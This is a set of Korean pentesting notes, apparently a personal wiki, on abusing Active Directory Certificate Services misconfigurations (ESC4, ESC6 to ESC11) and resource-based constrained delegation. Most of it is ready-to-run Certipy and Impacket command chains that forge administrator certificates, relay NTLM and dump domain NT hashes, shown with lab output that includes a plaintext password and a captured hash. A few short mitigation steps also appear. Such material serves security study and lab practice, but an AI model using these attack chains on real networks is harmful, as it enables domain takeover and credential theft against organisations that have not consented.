21MB
Certified_Pre-Owned ko.pdf
pdf
https://www.igloo.co.kr/security-information/adcs%EC%9D%98-%EC%B7%A8%EC%95%BD%ED%95%9C-%EC%9D%B8%EC%A6%9D%EC%84%9C-%ED%85%9C%ED%94%8C%EB%A6%BF-%EA%B5%AC%EC%84%B1%EC%9D%84-%ED%86%B5%ED%95%9C-esc1-%EA%B3%B5%EA%B2%A9%EA%B8%B0%EC%88%A0offensive-tec/
https://www.tarlogic.com/blog/how-kerberos-works/
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/2f9cae55-350a-423e-a692-1d16659e544a
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/cc919d0c-f2eb-4f21-b487-080c486d85fe

ESC6

해당 취약점은 2022년 5월 Microsoft 보안 업데이트를 통해 패치되었습니다.

SAN(Subject Alt Name)은 X.509 인증서의 확장 필드로, 하나의 SSL/TLS 인증서에 여러개의 도메인 이름, IP 주소 등을 추가로 지정할 수 있도록 하는 필드입니다. 쉽게 말하여 하나의 인증서에 여러개의 도메인 등을 등록하여, 여러 인증서를 발급하는 것 대신 하나의 인증서를 통해 여러 도메인을 신뢰할 수 있으며, 이를 통해 관리적 차원과 보안 측면에서 이점을 얻을 수 있습니다.

AD CS 인증서 요청을 위한 템플릿에 SAN이 포함되어 있는 경우, 공격자는 이를 악용하여 SAN 필드에 도메인 컨트롤러 관리자 등의 정보를 삽입하여 권한 상승을 시도할 수 있습니다. 하지만 기본적으로 AD CS에서 템플릿에는 SAN 필드 확장이 없습니다.

EDITF_ATTRIBUTESUBJECTALTNAME2 플래그가 허용된 경우 요청자는 인증 기관에 인증서를 요청하는 동안 이름/값 조합을 통해 인증 기관에 추가 속성을 전달할 수 있습니다. 중요한 것은 SAN 필드 확장이 없는 상태에서, AD CS에 EDITF_ATTRIBUTESUBJECTALTNAME2 플래그가 설정되었고, SAN을 CSR(Certificate Signing Request)에서 지정하도록 허용하는 템플릿이 있을 경우 클라이언트는 누구나 다른 객체의 인증서를 발급할 수 있습니다. CSR에서 SAN을 허용하는 템플릿은 AD CS 내장 템플릿인 User가 있습니다.

Certipy-ad를 통해서 취약한 인증서를 확인할 때, SAN 필드 확장이 되어있지 않더라도, 해당 플래그가 설정되어 있다면 User Specified SAN으로 표시됩니다.

Certificate Authorities                                                                                               
  0                                                                                                                   
    CA Name                             : lab-LAB-DC-CA                                                               
    DNS Name                            : LAB-DC.lab.local                                                            
    Certificate Subject                 : CN=lab-LAB-DC-CA, DC=lab, DC=local                                          
    Certificate Serial Number           : 16BD1CE8853DB8B5488A16757CA7C101                                            
    Certificate Validity Start          : 2022-03-26 00:07:46+00:00                                                   
    Certificate Validity End            : 2027-03-26 00:17:46+00:00                                                   
    Web Enrollment                      : Enabled                                                                     
    User Specified SAN                  : Enabled                                                                     
    Request Disposition                 : Issue                                                                       
    Enforce Encryption for Requests     : Disabled                                                                    
    Permissions                                                                                                       
      Owner                             : LAB.LOCAL\Administrators                                                    
      Access Rights                                                                                                   
        Enroll                          : LAB.LOCAL\Authenticated Users                                               
                                          LAB.LOCAL\Black Wasp                                                        
                                          LAB.LOCAL\James                                                             
                                          LAB.LOCAL\user_manageCA                                                                                                                                                                           
                                          LAB.LOCAL\Juanmy                                                            
                                          LAB.LOCAL\Josy                                                              
        ManageCa                        : LAB.LOCAL\Black Wasp                                                        
                                          LAB.LOCAL\James                                                             
                                          LAB.LOCAL\user_manageCA                                                     
                                          LAB.LOCAL\Juanmy                                                            
                                          LAB.LOCAL\Domain Admins                                                     
                                          LAB.LOCAL\Enterprise Admins                                                 
                                          LAB.LOCAL\Administrators                                                    
        ManageCertificates              : LAB.LOCAL\Josy                                                              
                                          LAB.LOCAL\Domain Admins                                                                                                                                                                           
                                          LAB.LOCAL\Enterprise Admins                                                 
                                          LAB.LOCAL\Administrators                                                    
    [!] Vulnerabilities                                                                                               
      ESC6                              : Enrollees can specify SAN and Request Disposition is set to Issue. Does not work after May 2022

Practice

# User 템플릿을 사용하여 DC 관리자 인증서 발급 요청
certipy-ad req -u <USER> -p <PASS> -ca <CA> -template User -dc-ip <dc-ip> -upn Administrator@<Domain>

# 발급한 DC 관리자 인증서를 통한 NT Hash 덤핑
certipy-ad auth -pfx <PFX File> -domain <Domain>

대응 방법

# 윈도우 명령 프롬포트를 통해 취약한 플래그 해제
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

# 인증서비스 재시작
net stop certsvc & net start certsvc

References

ESC4

ESC4는 템플릿에 대해 편집 가능한 권한이 있으면 ESC1에 취약한 템플릿으로 수정한 뒤 ESC1 공격을 통해 권한상승 할 수 있는 공격입니다.

certipy를 통해서 인증 서버에 있는 템플릿 정보를 확인하면 ACL 목록이 출력되는데 이 중 한가지 권한과 몇가지 조건이 만족될 시 ESC4에 취약합니다.

  1. Enabled : True

  2. Requires Manager Approval : False

  3. Full Control, Write Owner, Write Dacl, Write Property, Owner 중 1개의 권한 소유

Abuse

-save-old 플래그를 사용한 이유는 실무에서 템플릿 수정 시 권한상승에 성공한 이후 원래 상태를 복원하기 위한 백업 플래그입니다.

References

AD CS Domain EscalationHackTricks
    Permissions                                                                                                                                                                  
      Enrollment Permissions                                                                                                                                                     
        Enrollment Rights               : CODER.HTB\PKI Admins                          
      Object Control Permissions                                                                                                                                                 
        Owner                           : CODER.HTB\Erron Black                         
        Full Control Principals         : CODER.HTB\Domain Admins                                                                                                                
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins                   
        Write Owner Principals          : CODER.HTB\Domain Admins                                                                                                                
                                          CODER.HTB\Local System                                                                                                                 
                                          CODER.HTB\Enterprise Admins                                                                                                            
        Write Dacl Principals           : CODER.HTB\Domain Admins                                                                                                                
                                          CODER.HTB\Local System                                                                                                                 
                                          CODER.HTB\Enterprise Admins                
        Write Property Principals       : CODER.HTB\Domain Admins                                                                                                                
                                          CODER.HTB\Local System                   
                                          CODER.HTB\Enterprise Admins                                                                                                            
    [!] Vulnerabilities                                                                                                                                                          
      ESC1                              : 'CODER.HTB\\PKI Admins' can enroll, enrollee supplies subject and template allows client authentication                                
      ESC4                              : Template is owned by CODER.HTB\Erron Black  
# ESC4에 취약한 템플릿의 속성을 수정하여 ESC1에 취약하게 변경
certipy-ad template -u <USER> -p <PASS> -template <Template> -save-old -dc-ip <DC-IP> -target <DC FQDN>

# 수정된 템플릿을 통한 ESC1 Abuse
certipy-ad req -ca <CA> -dc-ip <DC-IP> -u <USER> -p <PASS> -template <Template> -target <Target> -upn Administrator@<Domain>

# 획득한 pfx 파일로부터 NT Hash 덤핑
certipy-ad auth -pfx <PFX> -dc-ip <DC-IP>

# 템플릿 복원
certipy-ad template -dc-ip <DC-IP> -u <USER> -p <PASS> -template <Template> -target <Target> -configuration <Template>.json

ESC7

인증기관의 설정 중에서는 Manage CA라는 속성이 있습니다. 이 속성 값이 Allow일 경우 해당 속성을 가진 사용자/그룹은 인증기관에 대해 어느정도의 제어권을 갖게 됩니다. 자세한 설명은 ManageCA를 참고하세요. ManageCA권한을 통해서 스스로에게 Issue and Manage Certificates 권한을 할당하여 Requires Manager Approval 값이 True여서 관리자의 승인이 요구되는 상황에서도 본인이 신청한 인증서 생성 요청에 대해 승인을 할 수 있습니다.

공격을 수행함에 있어서 SubCA 템플릿을 활성화하고 사용하는 단계가 필요한데, 굳이 SubCA 템플릿을 사용해야 하는 이유는 ESC1 공격에서 요구되는 취약한 설정이 SubCA 템플릿이기 때문입니다. 그럼에도 ESC1에서 SubCA 템플릿 활성화를 통한 공격을 하지 못하는 이유는 SubCA는 기본적으로 CA 관리자만 이용할 수 있기 때문에ManageCA 권한이 있는 사용자/그룹으로는 SubCA의 활성화 및 사용이 가능합니다.

Practice

certipy-ad를 통해서 취약한 템플릿을 찾기 위해서 아래와 같이 명령할 수 있습니다.

# 명령어 양식
certipy-ad find -u <USER> -p <PASS> -dc-ip <DC-IP> -stdout -vulnerable -enabled

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad find -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -stdout -vulnerable -enabled
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : manager-DC01-CA
    DNS Name                            : dc01.manager.htb
    Certificate Subject                 : CN=manager-DC01-CA, DC=manager, DC=htb
    Certificate Serial Number           : 5150CE6EC048749448C7390A52F264BB
    Certificate Validity Start          : 2023-07-27 10:21:05+00:00
    Certificate Validity End            : 2122-07-27 10:31:04+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : MANAGER.HTB\Administrators
      Access Rights
        Enroll                          : MANAGER.HTB\Operator
                                          MANAGER.HTB\Authenticated Users
                                          MANAGER.HTB\Raven
        ManageCertificates              : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
        ManageCa                        : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
    [!] Vulnerabilities
      ESC7                              : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates                   : [!] Could not find any certificate templates

스캔 결과 manager-DC01-CA에서 Access Rights > ManageCA 권한이 있는 사용자/그룹 중 탈취한 사용자 계정인 Raven이 포함되어 있는 것을 확인할 수 있습니다. Raven 사용자는 인증 기관에 대해서 ManageCA 권한이 있기 때문에 스스로에 대해 Issue and Manager Certificates 권한을 할당할 수 있습니다.

# 명령어 양식
certipy-ad ca -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -add-officer <USER>

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad ca -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -add-officer raven
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

그 다음으로 SubCA 템플릿을 활성화 해야 합니다.

# 명령어 양식
certipy-ad ca -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -enable-template subca

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad ca -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -enable-template subca
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'

SubCA 템플릿을 활성화 시켰기 때문에 템플릿 리스트를 출력하면 SubCA가 출력됩니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad ca -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -list-templates       
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Enabled certificate templates on 'manager-DC01-CA':
    SubCA
    DirectoryEmailReplication
    DomainControllerAuthentication
    KerberosAuthentication
    EFSRecovery
    EFS
    DomainController
    WebServer
    Machine
    User
    Administrator

활성화된 SubCA 템플릿을 통해 Administrator의 인증서를 생성할 것입니다. 앞서 설정한 것들은 장악한 Raven 계정에게 CA 관리 권한을 할당한 것 뿐 Requires Manager Approval 권한을 True -> False로 변경한 것이 아니기 때문에 인증서 생성 요청을 했을 때 인증서가 곧바로 생성되지 않습니다. 다만 인증서 생성 요청에서 요청 ID가 발급되고, Raven 계정에 ManageCA 속성을 Allow로 했기 때문에 Raven 계정을 이용해서 발급된 요청 ID에 대한 인증서 생성 요청을 허가할 수 있습니다.

# 명령어 양식
certipy-ad req -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -template SubCA -upn Administrator@<Domain>

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad req -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -template SubCA -upn Administrator@manager.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 20
Would you like to save the private key? (y/N) y
[*] Saved private key to 20.key
[-] Failed to request certificate
# 명령어 양식
certipy-ad ca -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -issue-request <Request ID>

#실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -issue-request 20                  
Certipy v4.8.2 - by Oliver Lyak (ly4k)                                                                                                                                           
                                            
[*] Successfully issued certificate

Raven 사용자로 인증 요청을 했던 Request ID 20번 요청에 대해서 승인을 했기 때문에 인증서 생성이 완료되었고, Request ID에 대한 인증서 조회 요청을 하면 성공적으로 Administrator의 pfx 파일이 획득됩니다.

# 명렁어 양식
certipy-ad req -u <USER> -p <PASS> -dc-ip <DC-IP> -ca <CA Name> -retrieve <Request ID>

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad req -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -ca manager-DC01-CA -retrieve 21                                  
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 13          
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '13.key'                     
[*] Saved certificate and private key to 'administrator.pfx'

덤핑한 도메인 Administrator 계정의 pfx 파일로 NT Hash 출력을 합니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# certipy-ad auth -pfx administrator.pfx   
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

References

ADCS의 취약한 인증서 템플릿 구성을 통한 ESC1 공격기술(Offensive Technique)Security & Intelligence 이글루코퍼레이션
ADCS의 취약한 인증서 템플릿 구성을 통한 ESC1 공격기술(Offensive Technique)Security & Intelligence 이글루코퍼레이션
ChatGPT
https://raw.githubusercontent.com/ly4k/Certipy/refs/heads/main/certipy/commands/auth.py
Logo
Logo
GitHub - ly4k/Certipy: Tool for Active Directory Certificate Services enumeration and abuseGitHub
[MS-PAC]: PAC_CREDENTIAL_INFOMicrosoftLearn
[MS-PAC]: PAC CredentialsMicrosoftLearn
GitHub - ly4k/Certipy: Tool for Active Directory Certificate Services enumeration and abuseGitHub
GitHub - RayRRT/Active-Directory-Certificate-Services-abuseGitHub
Logo
ADCS Attack Paths in BloodHound — Part 2Posts By SpecterOps Team Members
Logo
https://academy.hackthebox.com/module/236/section/2541academy.hackthebox.com

AddAllowedToAct

이 권한을 직접 설정하기 위해서는 설정을 원하는 컴퓨터 계정의 Properties > Security > User > Write msDS-AllowedToActOnBehalfOfOtherIdentity 속성을 체크 표시로 변경합니다.

권한이 있을 때 공격자는 타겟 머신의 RBCD를 허가할 계정을 등록해야 합니다. 이때 MAQ 값이 1 이상인 경우 직접 장악한 계정으로부터 새로운 머신 계정을 생성하여 생성한 머신을 RBCD를 통해 제약 위임 권한을 등록하여 머신을 통해서 다른 사용자의 TGT를 발급받을 수 있습니다. 하지만 MAQ 값이 0이라고 하더라도 장악한 계정을 RBCD에 등록하여 사용 가능합니다.

Abuse

권한을 악용하기 위해서는 타겟 머신의 RBCD에 허용할 계정을 등록해야 합니다. 등록할 계정은 임의로 머신 계정을 생성합니다.

# 새로운 머신 계정 생성
impacket-addcomputer -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'

# 타겟의 RBCD에 계정 등록
impacket-rbdc -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'

# 등록된 계정을 통해 TGT 발급
impacket-getST -spn 'cifs/targetcomputer.testlab.local' -impersonate Administrator 'domain/attackersystem$:Summer2018!'
# 장악한 계정을 RFCD에 등록
impacket-rbcd -delegate-to <Target> -delegate-from <USER> -dc-ip <dc-ip> -action 'write' <Domain/USER:PASS>

# 계정의 TGT 발급
impacket-getTGT <Domain/USER> -hashed <NTLM>

# 발급된 TGT을 분석
impacket-describeTicket <Ticket>

# 계정의 NT Hash 값을 TGT 세션 키 값으로 변경
python3 smbpasswd.py <Domain/USER:PASS@DC FQDN>

# S4U2self를 통해서 도메인 관리자 ST 발급
impacket-getST -u2u -impersonate Administrator -spn 'cifs/<DC FQDN>' <Domain/USER> -k -no-pass

# 발급된 도메인 관리자 ST 환경 변수 등록
export KRB5CCNAME=<Service Ticket>

# 도메인 NT Hash 덤핑
impacket-secretsdump <DC FQDN> -k

References

AddAllowedToAct 권한은 Kerberos 프로토콜에 대해서 리소스 기반의 제약된 위임을 할 수 있는 권한입니다. RBCD를 비롯하여 Delegation의 종류 3가지는 모두 컴퓨터에 있는 리소스를 주체로 하여금 제약 위임 목록을 관리하는 시스템이라 컴퓨터 계정에 국한하여 BloodHound로부터 이 관계를 확인할 수 있습니다. RBCD는 Resource-Based Constrained Delegation으로 자세한 설명은 을 참조합니다.

이곳

ESC8

ADCS를 이용하여 인증 기관으로부터 인증서 발급/관리/갱신/폐기 등의 작업을 할 때 별도의 도구나 프로그램을 설치하지 않고도 웹 서비스를 통해 할 수 있는 기능이 있습니다. 관리자가 CA에 웹을 등록했다면 http://< IP>/certsrv를 통해서 인터페이스 사용이 가능합니다. 이것이 필요한 이유는 웹을 통한 편리한 관리 및 호환성 때문입니다. 하지만 인가된 사용자만이 웹 서비스를 이용하여 ADCS를 이용하기 위해서는 사용자 인증이 필요한데, 이곳에서 NTLM을 통한 인증이 사용될 수 있습니다.

아래 HTTP Response 메시지는 ADCS 웹 서비스를 구현한 엔드포인트에 cURL을 통해서 HTTP 요청 패킷을 전송시 반환되는 메시지입니다.

htb-student@ubuntu:~$ curl -I http://172.16.19.5/certsrv
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
WWW-Authenticate: NTLM
WWW-Authenticate: Negotiate
X-Powered-By: ASP.NET
Date: Tue, 10 Dec 2024 09:32:55 GMT

이와 같이 서버의 헤더에 NTLM 인증이 활성화된 경우 Windows는 자동으로 클라이언트의 개입 없이 NTLM을 통한 인증을 하게 됩니다. 따라서 공격자가 다른 사용자의 NTLM 인증 과정을 가로채어 웹 서비스에서 인증한다면 ADCS로부터 가로챈 객체의 인증서 pfx 파일을 탈취할 수 있고, 이 파일로부터 ST를 발급받아 NT Hash를 덤핑할 수 있습니다. 다음은 이를 간략하게 표현한 그림입니다.

  1. 공격자가 DC를 자신이 수신하는 서버에 강제 인증 하도록 한다.

  2. DC의 NTLM은 공격자에게 탈취된다.

  3. 공격자는 탈취한 NTLM 값으로 ADCS에 DC임을 인증하고 인증서 요청

  4. ADCS는 DC의 pfx 파일을 공격자에게 전송

  5. 공격자는 pfx 파일을 통해 DC에 TGT 발급 요청

  6. DC는 공격자에게 TGT 발행

Abuse

# 취약한 템플릿 식별
certipy find -u <USER> -p <PASS> -dc-ip <dc-ip> -vulnerable -stdout

# NTLM Relay를 위한 수신 활성화
certipy relay -target <Target> -template <Template>

# 강제 인증
coercer coerce -l <Local IP> -t <Target IP> -u <USER> -p <PASS> -d <Domain> -v

# 캡처된 NTLM Relay를 이용한 pfx 파일 획득 후 악용
certipy auth -pfx <PFX>

# 도메인 NT Hash 덤핑
KRB5CCNAME=<Domain.ccache> /usr/share/doc/python3-impacket/examples/secretsdump.py -k -no-pass <Domain FQDN>

Mitigation

  1. 모든 ADCS 웹 인터페이스에서 HTTPS 프로토콜을 활성화 하여 NTLM Relay로부터 보호합니다.

  2. 클라이언트 인증 및 도메인 머신 계정 등록을 허용하는 템플릿을 제한합니다.

References

ESC11

AD CS는 기본적으로 ICertPassage 원격 프로토콜은 클라이언트가 CA과 상호 작용하여 CA로부터 인증서를 요청/수신 할 수 있도록 하는 원격 프로시저를엔드포인트로 노출합니다. IF_ENFORCEENCRYPTICERTREQUEST 플래그가 활성화 되면 RPC 인터페이스는 RPC_C_AUTHN_LEVEL_PKT_PRIVACY 인증 레벨의 연결만 허용하며, 이것은 가장 높은 인증 레벨입니다. 이는 모든 종류의 릴레이 공격을 방지하기 위해 각 패킷의 서명과 암호화를 요구합니다.

RPC 등록 인터페이스가 패킷 프라이버시를 요구하지 않으면 ESC11과 같은 Relay 공격에 취약하지만 이 플래그는 기본적으로 활성화 되어있는 상태이기 때문에 기본값은 안전합니다. 하지만 대상 도메인에 Windows Server 2012 미만또는 Windows Server 2008과 같은 이전 버전의 Windows Server가 있거나, Windows XP를 실행하는 클라이언트와 같이 필요한 RPC 인증 수준을 지원할 수 없는 클라이언트를 허용하기 위해서 종종 관리자가 플래그를 변경하는 경우가 있습니다.

IF_ENFORCEENCRYPTICERTREQUEST 플래그가 비활성화 된 상태라면, 암호화 되지 않은 세션 (HTTP를 통한 SMB NTLM 인증 릴레이)을 사용하여 인증서 등록이 가능할 수 있습니다.

Practice

# 취약한 CA 템플릿 검색
certipy-ad find -u <USER> -p <PASS> -dc-ip <dc-ip> -vulnerable -stdout -enabled

# 대상의 강제 인증 수신 대기
certipy-ad relay -target <rpc://ADCS> -ca <CA> -template DomainController

# 강제 인증
python3 PettiPotam.py -u <USER> -p <PASS> -d <Domain> <dc-ip> <dc-ip>

# 강제 인증을 통해 얻은 pfx 파일 덤핑
certipy-ad auth -pfx <PFX File>

# Domain NT Hash 덤핑
KRB5CCNAME=<Domain.ccache> /usr/share/doc/python3-impacket/examples/secretsdump.py -k -no-pass <Domain FQDN>

대응 방안

# CA 플래그 활성화
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST

# 재실행
net stop certsvc & net start certsvc

References

ESC9

ESC9와 ESC10을 이해하기 위해선 다음과 같은 내용을 알아둬야 합니다.

속성
내용

szOID_NTDS_CA_SECURITY_EXT

요청자의 objectSid를 포함하며 AD에서 고유한 식별자

StrongCertificateBindingEnforcement

Kerberos 암시적 매핑에 사용되는 레지스트리 키

CertificateMappingMethods

Schannel 암시적 매핑에 사용되는 레지스트리 키

Kerberos 인증 시, 인증서 매핑 프로세스는 StrongCertificateBindingEnforcement 레지스트리 키를 참조하며, 이 키는 세가지 값으로 설정될 수 있습니다.

값
모드
내용

0

비활성화 모드

강력한 인증서 매핑이 수행되지 않습니다. szOID_NTDS_CA_SECURITY_EXT 확장은 확인되지 않습니다.

1

호환 모드(기본값)

KDC는 명시적 인증서 매핑이 있는지 확인하고, 없으면 인증서 보안 확장이 존재하고 유효한지 검사합니다. 보안 확장이 없으면, 사용자 계정이 인증서보다 먼저 생성된 경우 인증이 허용될 수 있습니다.

2

완전 시행 모드

KDC는 명시적 인증서 매핑이 있는지 확인하고, 없으면 인증서 보안 확장이 존재하고 유효한지 검사합니다. 보안 확장이 없으면 인증이 거부됩니다.

ESC9은 사용자의 UPN을 조작할 수 있는 GenericWrite 이상의 권한이 있을 때 인증서를 요청하는 사용자의 UPN을 다른 사용자의 UPN으로 변경함에 따라 가장한 사용자의 인증서를 발급받을 수 있는 권한 상승 취약점입니다. ESC9에 필요한 몇가지 조건은 다음과 같습니다.

  • StrongCertificateBindingEnforcement 레지스트리 키 값이 2 이외의 값 ( 기본 값 1 ) 혹은 CertificateMappingMethods 에 UPN 포함

  • msPKI-Enrollment-Flag의 값이 CT_FLAG_NO_SECURITY_EXTENSION

  • 템플릿 용도에 Client Authentication 값이 명시적으로 존재

  • 악용하려는 유저에 대한 GenericWrite

CT_FLAG_NO_SECURITY_EXTENSION의 경우 보안 확장 기능이 무력화되는데, 레지스트리 키 값이 2 미만일 경우 보안 확장이 존재하지 않을 때 사용자 계정이 인증서보다 먼저 생성된 경우 인증이 허용되는 허점을 이용합니다.

Practice

공격이 성립하기 위해서는 최소 하나의 계정에 GenericWrite 권한이 필요합니다. Alice 계정이 Bob 계정에 대한 GenericWrite/All 권한이 있으며 Bob 계정의 UPN을 Administrator로 변경하여 도메인 관리자 권한을 획득하고자 할 때 다음과 같이 명령하여 NT Hash 덤핑이 가능합니다.

# User 계정의 권한으로 User 2 계정의 NT Hash를 덤핑
certipy-ad shadow auto -u <USER> -p <PASS> -account <USER 2> -dc-ip <dc-ip>

# User 계정의 권한으로 User 2 계정의 UPN을 도메인 관리자로 변경 ( 반드시 소문자 )
certipy-ad account update -u <USER> -p <PASS> -user <USER 2> -upn administrator@wiki.local -dc-ip <dc-ip>

# Administrator의 자격을 갖게된 User 2의 TGT 요청
certipy-ad req -u <USER 2> -hashes <USER 2 Hash> -ca <CA> -template <Template> -dc-ip <dc-ip>

# User2의 UPN을 복구
certipy-ad account update -u <USER> -p <PASS> -user <USER 2> -upn <USER 2> -dc-ip <dc-ip>

# User 2의 인증서를 통한 Administrator NT Hash 덤핑
certipy-ad auth -pfx <PFX> -domain <Domain> 

References

ESC10

ESC9와 ESC10을 이해하기 위해선 다음과 같은 내용을 알아둬야 합니다.

속성
내용

szOID_NTDS_CA_SECURITY_EXT

요청자의 objectSid를 포함하며 AD에서 고유한 식별자

StrongCertificateBindingEnforcement

Kerberos 암시적 매핑에 사용되는 레지스트리 키

CertificateMappingMethods

Schannel 암시적 매핑에 사용되는 레지스트리 키

Kerberos 인증 시, 인증서 매핑 프로세스는 StrongCertificateBindingEnforcement 레지스트리 키를 참조하며, 이 키는 세가지 값으로 설정될 수 있습니다.

값
모드
내용

0

비활성화 모드

강력한 인증서 매핑이 수행되지 않습니다. szOID_NTDS_CA_SECURITY_EXT 확장은 확인되지 않습니다.

1

호환 모드(기본값)

KDC는 명시적 인증서 매핑이 있는지 확인하고, 없으면 인증서 보안 확장이 존재하고 유효한지 검사합니다. 보안 확장이 없으면, 사용자 계정이 인증서보다 먼저 생성된 경우 인증이 허용될 수 있습니다.

2

완전 시행 모드

KDC는 명시적 인증서 매핑이 있는지 확인하고, 없으면 인증서 보안 확장이 존재하고 유효한지 검사합니다. 보안 확장이 없으면 인증이 거부됩니다.

ESC9이 Kerberos 인증 시 잘못된 레지스트리 키 설정으로 인해 발생한 취약점이라면 ESC10은 Schannel 인증 시 잘못된 레지스트리 키 설정으로 인해 비롯되는 취약점입니다.

Kerberos 인증 시의 취약점입니다. 이 경우 StrongCertificateBindingEnforcement 레지스트리 키가 0으로 설정된 것을 이용합니다. 이 값은 Microsoft 2023년 4월 업데이트가 설치되지 않은 경우에 설정되어 있으며, 그 외의 경우에는 기본 값인 1에서 0으로 변경 시에만 공격에 적용 가능합니다.

악용 조건

  • StrongCertificateBindingEnforcement 키 값이 0으로 설정

  • 클라이언트 인증이 활성화된 템플릿 존재 (내장 템플릿 User 등)

  • 공격자가 계정 A에 대한 GenericWrite 권한 보유

일반적으로 낮은 권한의 사용자는 레지스트리의 키 값을 읽을 권한이 없기 때문에 외부에서 ESC10에 취약한지 판별하기는 어렵습니다. 다만 실습의 경우 impacket-reg를 이용하여 판별하며, 외부자 관점 공격 시에는 공격의 성공 여부에 따라 해당 사용자의 레지스트리 키 값을 유추할 수 있습니다.

┌──(root㉿kali)-[~/pentest/htb]
└─# impacket-reg 'lab/Administrator:Password123!@10.129.228.236' query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\Kdc'
...
        StrongCertificateBindingEnforcement     REG_DWORD        0x0
...
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
취약한 것이 확인되었으면 이후 과정은 과 유사합니다.
# User 계정의 권한으로 User 2 계정의 NT Hash를 덤핑
certipy-ad shadow auto -u <USER> -p <PASS> -account <USER 2> -dc-ip <dc-ip>

# User 계정의 권한으로 User 2 계정의 UPN을 도메인 관리자로 변경 ( 반드시 소문자 )
certipy-ad account update -u <USER> -p <PASS> -user <USER 2> -upn administrator@wiki.local -dc-ip <dc-ip>

# Administrator의 자격을 갖게된 User 2의 TGT 요청
certipy-ad req -u <USER 2> -hashes <USER 2 Hash> -ca <CA> -template <Template> -dc-ip <dc-ip>

# User2의 UPN을 복구
certipy-ad account update -u <USER> -p <PASS> -user <USER 2> -upn <USER 2> -dc-ip <dc-ip>

# User 2의 인증서를 통한 Administrator NT Hash 덤핑
certipy-ad auth -pfx <PFX> -domain <Domain> 

Schannel을 통한 권한 상승을 위해서 다음 조건이 선행되어야 합니다.

악용 조건

  • CertificateMappingMethods 레지스트리 키가 0x4로 설정

  • Client Authentication이 가능한 템플릿 활성화(User 템플릿 등)

  • 다른 계정에 대해 GenericWrite 이상의 권한을 소유

# CertificateMappingMethods 레지스트리 키 값 조회
┌──(root㉿kali)-[~/pentest/htb]
└─# impacket-reg 'lab/Administrator:Password123!@10.129.228.236' query -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL'
...
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
        EventLogging    REG_DWORD        0x1
        CertificateMappingMethods       REG_DWORD        0x4
...
